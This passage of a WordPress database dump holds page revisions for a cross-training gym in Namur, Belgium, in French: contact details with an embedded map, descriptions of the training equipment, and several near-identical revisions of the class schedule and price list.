(325, 1, '2013-07-04 18:19:44', '2013-07-04 18:19:44', '&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nLes prises de RDV pour les séances de \r\nTeam Training, Duo Training, Personnal \r\nTrainer ou Coatching nutritionnel se \r\nfont exclusivement par téléphone.\r\n\r\n0485 / 92 . 02 . 12\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Adresse :&lt;/h1&gt;\r\nBowling et Squash de Namur\r\nChaussée de Perwez 251\r\n&lt;em id=\&quot;__mceDel\&quot;&gt; 5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/em&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%;\&quot;&gt;\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;\r\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\r\n&lt;small&gt;&lt;a style=\&quot;color: #0000ff; text-align: left;\&quot; href=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.4846,4.849863&amp;amp;spn=0.016384,0.025749&amp;amp;z=14&amp;amp;source=embed\&quot;&gt;Agrandir le plan&lt;/a&gt;&lt;/small&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\r\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-07-04 18:19:44', '2013-07-04 18:19:44', '', 9, 'http://www.crosstrainingcenter.be/9-revision-18/', 0, 'revision', '', 0),
(326, 1, '2013-07-04 16:32:39', '2013-07-04 16:32:39', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-07-04 16:32:39', '2013-07-04 16:32:39', '', 22, 'http://www.crosstrainingcenter.be/22-revision-29/', 0, 'revision', '', 0),
(331, 1, '2013-07-10 15:45:29', '2013-07-10 15:45:29', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-10 15:45:29', '2013-07-10 15:45:29', '', 11, 'http://www.crosstrainingcenter.be/11-revision-111/', 0, 'revision', '', 0),
(332, 1, '2013-07-25 16:33:42', '2013-07-25 16:33:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:33:42', '2013-07-25 16:33:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-112/', 0, 'revision', '', 0),
(333, 1, '2013-07-25 16:34:48', '2013-07-25 16:34:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td 